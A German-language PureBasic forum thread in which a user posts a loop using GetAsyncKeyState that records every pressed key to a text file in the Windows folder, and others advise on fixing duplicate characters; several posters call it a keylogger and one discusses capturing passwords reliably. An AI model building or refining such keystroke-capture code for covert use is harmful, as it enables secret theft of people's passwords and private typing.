Tasten drücke speichern

Anfängerfragen zum Programmieren mit PureBasic.
kiki
Beiträge: 155
Registriert: 06.05.2006 17:54

Beitrag von kiki »

Und wie gehts unter PB 4.02??
Benutzeravatar
Joel
Beiträge: 851
Registriert: 21.04.2006 19:22

Beitrag von Joel »

Ok, hier mal ein Code; der Code fragt, die Tastendrücke ab, und speichert die in einer TXT Datei, aber manchmal speichert er die Taste 2mal also "mm" wenn ich auf m drücke und wenn ich das Delay höher setze garnicht. Wie schaffe ich es, dass der buchstabe nur einmal pro tastendruck in der Datei steht, egal wie lange ich die Taste drücke.

Code: Alles auswählen

Procedure Key() 
   For n=0 To 255 
      If GetAsyncKeyState_(n) 
         ProcedureReturn n 
      EndIf 
   Next 
EndProcedure

Tasten = 0
CreateFile(2, "C:\Windows\tastus.txt")

Repeat 
If Key() = #VK_A 
    WriteString(2, "A")
    Tasten = 1
EndIf


If Key() = #VK_B 
    WriteString(2, "B")
    Tasten = 1
EndIf

If Key() = #VK_C 
    WriteString(2, "C")
    Tasten = 1
EndIf


If Key() = #VK_D 
    WriteString(2, "D")
    Tasten = 1
EndIf

If Key() = #VK_E 
    WriteString(2, "E")
    Tasten = 1
EndIf


If Key() = #VK_F 
    WriteString(2, "F")
    Tasten = 1
EndIf

If Key() = #VK_G 
    WriteString(2, "G")
    Tasten = 1
EndIf


If Key() = #VK_H 
    WriteString(2, "H")
    Tasten = 1
EndIf

If Key() = #VK_I 
    WriteString(2, "I")
    Tasten = 1
EndIf


If Key() = #VK_J 
    WriteString(2, "J")
    Tasten = 1
EndIf

If Key() = #VK_K 
    WriteString(2, "K")
    Tasten = 1
EndIf


If Key() = #VK_L 
    WriteString(2, "L")
    Tasten = 1
EndIf

If Key() = #VK_M 
    WriteString(2, "M")
    Tasten = 1
EndIf


If Key() = #VK_N 
    WriteString(2, "N")
    Tasten = 1
EndIf

If Key() = #VK_O 
    WriteString(2, "O")
    Tasten = 1
EndIf


If Key() = #VK_P 
    WriteString(2, "P")
    Tasten = 1
EndIf

If Key() = #VK_Q 
    WriteString(2, "Q")
    Tasten = 1
EndIf


If Key() = #VK_R 
    WriteString(2, "R")
    Tasten = 1
EndIf

If Key() = #VK_S 
    WriteString(2, "S")
    Tasten = 1
EndIf


If Key() = #VK_T 
    WriteString(2, "T")
    Tasten = 1
EndIf

If Key() = #VK_U 
    WriteString(2, "U")
    Tasten = 1
EndIf


If Key() = #VK_V 
    WriteString(2, "V")
    Tasten = 1
EndIf

If Key() = #VK_W 
    WriteString(2, "W")
    Tasten = 1
EndIf

If Key() = #VK_X
    WriteString(2, "X")
    Tasten = 1
EndIf

If Key() = #VK_Y 
    WriteString(2, "Y")
    Tasten = 1
EndIf

If Key() = #VK_Z 
    WriteString(2, "Z")
    Tasten = 1
EndIf

If Key() = #VK_0 
    WriteString(2, "0")
    Tasten = 1
EndIf

If Key() = #VK_1 
    WriteString(2, "1")
    Tasten = 1
EndIf

If Key() = #VK_2
    WriteString(2, "2")
    Tasten = 1
EndIf

If Key() = #VK_3 
    WriteString(2, "3")
    Tasten = 1
EndIf

If Key() = #VK_4 
    WriteString(2, "4")
    Tasten = 1
EndIf

If Key() = #VK_5 
    WriteString(2, "5")
    Tasten = 1
EndIf

If Key() = #VK_6
    WriteString(2, "6")
    Tasten = 1
EndIf

If Key() = #VK_7 
    WriteString(2, "7")
    Tasten = 1
EndIf

If Key() = #VK_8 
    WriteString(2, "8")
    Tasten = 1
EndIf

If Key() = #VK_9 
    WriteString(2, "9")
    Tasten = 1
EndIf

Forever
----------------------------------------------------------

PB 5.20 Beta 10 | Windows 7
Kaeru Gaman
Beiträge: 17389
Registriert: 10.11.2004 03:22

Beitrag von Kaeru Gaman »

grundsätzlich: diese verfahrensweise ist eigentlich gänzlich ungeeignet,
weil jeder aufruf von GetAsyncKeystate das Keyboard komplett abfragt.
mach lieber einen Aufruf von GetKeyboardState,
und check den Buffer, den du zurückbekommst durch.

konkret:
der Rückgabewert ist zwar immer <>0 wenn eine Taste gedrückt ist,
aber er variiert je nachdem, ob eine taste gerade gedrückt wurde oder weiterhin gedrückt ist.
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Benutzeravatar
Joel
Beiträge: 851
Registriert: 21.04.2006 19:22

Beitrag von Joel »

Gibt es noch eine Funktion mit die erkannt, wann die Taste degrckt wurde und wann sie wieder losgelassen wird?
----------------------------------------------------------

PB 5.20 Beta 10 | Windows 7
Kaeru Gaman
Beiträge: 17389
Registriert: 10.11.2004 03:22

Beitrag von Kaeru Gaman »

schau doch mal in die MSDN oder zumindest in die Win32.hlp

GetAsyncKeystate fragt tasten "roh" ab, dann gibts glaubich noch GetKeystate,
die fragt nach den "Filtern" ab, also z.b. wenn die Maustasten vertauscht sind.

und GetKeyboardstate füllt dir in einer einzigen abfrage einen 256byte-Buffer mit dem Status aller Tasten.
das ist für sowas weit besser geeignet, als drei dutzend aufrufe von GetAsyncKeystate.

btw. wenn du mit nem screen arbeitest, brauchst du das natürlich garnicht,
aber das weißt du wahrscheinlich.
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Benutzeravatar
Joel
Beiträge: 851
Registriert: 21.04.2006 19:22

Beitrag von Joel »

Leider gibt es da aber noch das Problem, dass die Tasten mehrmals in der TXT Datei stehen.
----------------------------------------------------------

PB 5.20 Beta 10 | Windows 7
Kaeru Gaman
Beiträge: 17389
Registriert: 10.11.2004 03:22

Beitrag von Kaeru Gaman »

deswegen sagte ich dir doch, der Rückgabewert unterscheidet sich,
je nachdem ob das die erste Abfrage ist bei der die Taste gedrückt wird,
oder ob sie weiterhin gedrückt ist.

dem hinweis solltest du also mal nachgehen, indem du die rückgabewerte debuggen läßt und dir anschaust.

weitergehend halte ich es für möglich, dass es mit Einzelabfragen nicht richtig funktioniert.
möglicher Weise erhält eine Taste den Status "noch gedrückt",
weil sie während der Abfrage einer anderen Taste schon gedrückt war.

auch aber nicht nur deswegen ist es sinnvoll, sich GetKeyboardState mal anzusehen.

ansonsten musst du dir halt ein eigenes Array anlegen, wo du notierst,
ob die taste bei der letzten abfrage gedrückt war oder nicht,
eine Art Flag-Tabelle eben.

aber das ist eigentlich vergeblicher Aufwand, weil du dir ein Tasten-Array direkt von der API befüllen lassen kannst.
Der Narr denkt er sei ein weiser Mann.
Der Weise weiß, dass er ein Narr ist.
Benutzeravatar
Xaby
Beiträge: 2144
Registriert: 12.11.2005 11:29
Wohnort: Berlin + Zehdenick
Kontaktdaten:

Beitrag von Xaby »

Die Funktion von AND51 ist auch unsauber programmiert.

Es sollte nur einmal ein Rückgabewert ausgegeben werden.
Theoretisch hat AND51 256 Rückgabewerte, wenn man nur schnell genug drückt. Klar springt die Prozedur bei ProcedureReturn aus der Prozedur heraus, aber genau das ist nicht schön.

Besser wäre eine While Not(Bedingung) or n>255 ... wend
Und nach dem Wend dann erst das Resultat zurück geben.

Immer diese KeyLocker :?

>>>>>>>>>>

Wo wir mal beim Thema sind ...

Code: Alles auswählen

 If GetAsyncKeyState_(#VK_LBUTTON) 
        Debug "links"
      EndIf
      If GetAsyncKeyState_(#VK_RBUTTON) 
        Debug "rechts"
      EndIf
      If GetAsyncKeyState_(#VK_MBUTTON) 
        Debug "Mitte"
      EndIf
In einer Event-Schleife ... selbst mit WindowEvent() statt WaitWindowEvent() ... funktioniert es nur, so lange ich innerhalb des Fensters klicke.

:oops:
Kinder an die Macht http://scratch.mit.edu/
Brügge
Beiträge: 359
Registriert: 28.05.2006 16:40
Wohnort: Rheine

Beitrag von Brügge »

moin!

die Frage ist doch, wie möchte er seine Tasen gespeichert haben:

1. mit zeit(die Taste wurde 3s lang gedrückt)
2. einfach nur ein druck egal wie lang
oder mehr als ein druck...

für einen guten keylogger ist natürlich auch wichtig wie lange etwas gedrückt wurde...

z.B.

ich gebe ein Passwort ein: das pw ist "1111123456" jetzt drücke ich die "1" 2s lang dann steht dort "11111" jetzt drücke ich die anderen tasten...

der keyloagger wird dann aber nur 123456 ausgeben... (hat den Test nicht bestanden)

die frage ist immer, wofür braucht man die tasten?

MFG brügge

PS: ich würde eine structure jeder einzelnen taste machen, die beinhaltet, ob 1. die taste gedrückt ist, 2. welche nummer die taste hat und 3. den tastennamen.
dann haste nicht mehr das problem:(die taste wurde 2mal aufgeschrieben),denn du kannst abfragen, ob die taste schon gedrückt war oder nicht.
Abgeschlossene games: No Name Game (NNG) Download-Link:
http://web56.login-1.loginserver.ch/eas ... 2125104111
Benutzeravatar
Bisonte
Beiträge: 2468
Registriert: 01.04.2007 20:18

Beitrag von Bisonte »

hmmm aber wenn es denn ein "Keylocker" sein soll, ist es doch sinnfrei die
tasten nur einmal in der datei zu haben.

aber soetwas ist nicht nur als Keylogger interessant sondern auch für nen
anständigen Texteditor mit Undo Funktion.... oder nicht ?

Aber wenn jemand 3 Sek. auf 1 drückt, und dann sieht derjenige "Oh, da sind 4 einsen zuviel" backspace und dann stimmts mit den 8 einsen....

und in der txt steht dann nur 1<BackSpace> ....

Stimmt dann ja nicht wirklich .... oder ?
PureBasic 6.21 (Windows x86/x64) | Windows11 Pro x64 | AsRock B850 Steel Legend Wifi | R7 9800x3D | 64GB RAM | GeForce RTX 5080 | ThermaltakeView 270 TG ARGB | build by vannicom​​
Antworten